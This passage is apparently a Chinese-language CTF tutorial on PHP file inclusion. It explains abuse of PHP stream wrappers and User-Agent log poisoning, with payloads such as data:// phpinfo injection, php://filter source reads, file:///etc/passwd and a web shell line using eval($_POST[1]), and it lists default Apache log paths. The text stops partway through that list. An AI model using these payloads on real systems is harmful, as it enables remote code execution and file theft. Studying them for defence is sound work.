常见的文件包含函数
php文件包含函数有下面四种
- include()
- require()
- include_once()
- require_once()
include与require基本相同,只是一些错误处理不同
- include:遇到错误只发出警告,不会出现停止
- require:遇到错误要停止
- include_once和require_once:只包含一次
基本绕过:
利用php伪协议
1.php://input
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容,从而导致任意代码执行。
CTF中经常使用file_get_contents()获取php://input内容(POST)
需要allow_url_include打开
当enctype="multipart/form-data"的时候 php://input` 是无效的
例子一
2.php://filter
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行,从而导致 任意文件读取。
在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用
参数详解
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。(相对路径也可)
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
过滤器
读取文件源码可以直接用resource读取(常用)
php://filter/convert.base64-encode/resource=flag.php base64编码 ---最常用的
php://filter/convert.quoted-printable-encode/resource=flag.php quoted-printable编码
php://filter/string.rot13/resource=flag.php rot13变换
字符串过滤器 | 作用 |
---|---|
string.rot13 | 等同于str_rot13() ,rot13变换 |
string.toupper | 等同于strtoupper() ,转大写字母 |
string.tolower | 等同于strtolower() ,转小写字母 |
string.strip_tags | 等同于strip_tags() ,去除html、PHP语言标签 |
转换过滤器 | 作用 |
---|---|
convert.base64-encode & convert.base64-decode | 等同于base64_encode() 和base64_decode() ,base64编码解码 |
convert.quoted-printable-encode & convert.quoted-printable-decode | quoted-printable 字符串与 8-bit 字符串编码解码 |
压缩过滤器 | 作用 |
---|---|
zlib.deflate & zlib.inflate | 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。 |
bzip2.compress & bzip2.decompress | 同上,在本地文件系统中创建 bz2 兼容文件的方法。 |
加密过滤器 | 作用 |
---|---|
mcrypt.* | libmcrypt 对称加密算法 |
mdecrypt.* | libmcrypt 对称解密算法文件的打开方式 |
3.data协议
data协议类似于php://input协议,用于控制输出流,当与包含函数结合时,data://流回被当作php文件执行。从而导致任意代码的执行。
当php被过滤时,就可以适当选择data协议
需满足allow_url_fopen,allow_url_include同时开启才能使用
例如:
?file=data://,<php phpinfo();
?file=data://text/plain,<?php phpinfo();---恶意代码
?file=data://text/plain;base64,base编码内容(恶意代码的base64编码)
注意:使用data协议,后面php代码不要闭合。
4.zip协议
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
- zip://中只能传入绝对路径。
- 要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)
- 只需要是zip的压缩包即可,后缀名可以任意更改。
5.bzip2://协议
绝对路径和相对路径都可以使用
在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用
file.php?file=compress.bzip2://nac.bz2
file.php?file=compress.bzip2://./nac.jpg
file.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
6.zlib://协议
同上
在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用
file.php?file=compress.zlib://file.gz
file.php?file=compress.zlib://./nac.jpg
file.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
7. phar://协议
phar:// 有点类似zip://同样可以导致 任意代码执行。
区别就是:phar://中相对路径和绝对路径都可以使用
phar://:PHP 归档,常常跟文件包含,文件上传结合着考察。当文件上传仅仅校验mime类型与文件后缀,可以通过以下命令进行利用
例子
nac.php(木马)->压缩->nac.zip->改后缀->nac.jpg->上传->phar://nac.jpg/nac.php
从而绕过。
8.file协议
用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include的影响
file协议可以访问文件的绝对路径,相对路径
file://还经常和curl函数(SSRF)结合在一起
如:?file=file:///etc/passwd,有三条斜杠
例子1
例子2
总结
日志包含
介绍
WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。
利用条件
- 对日志文件可读取
- 知道日志文件的存储目录,一般可以通过phpinfo(),来读取日志文件
漏洞利用流程
原理
如果访问一个不存在的资源时,如http://www.xxxx.com/<?php phpinfo(); ?>,则会记录在日志中,一般
我们是把恶意代码写入UA头里。但是代码中的敏感字符会被浏览器转码,我们可以通过burpsuit绕过
编码,就可以把<?php phpinfo(); ?> 写入apache,iis或者nginx的日志文件,然后可以通过包含日志文件来执行此代码,但前提是你得知道中间件日志文件的存储路径。
流程:
先刷新网页或者上传文件抓包,改UA头为恶意代码,<?php eval($_POST[1]);?>,<?php system("tac ../f*");>,
然后访问日志文件,执行恶意代码
日志文件路径
一)日志默认路径
(1) apache+Linux日志默认路径
/etc/httpd/logs/access_log
或者
/var/log/httpd/access_log
(2) apache+win2003日志默认路径
D:\xampp\apache\logs\access.log
D:\xampp\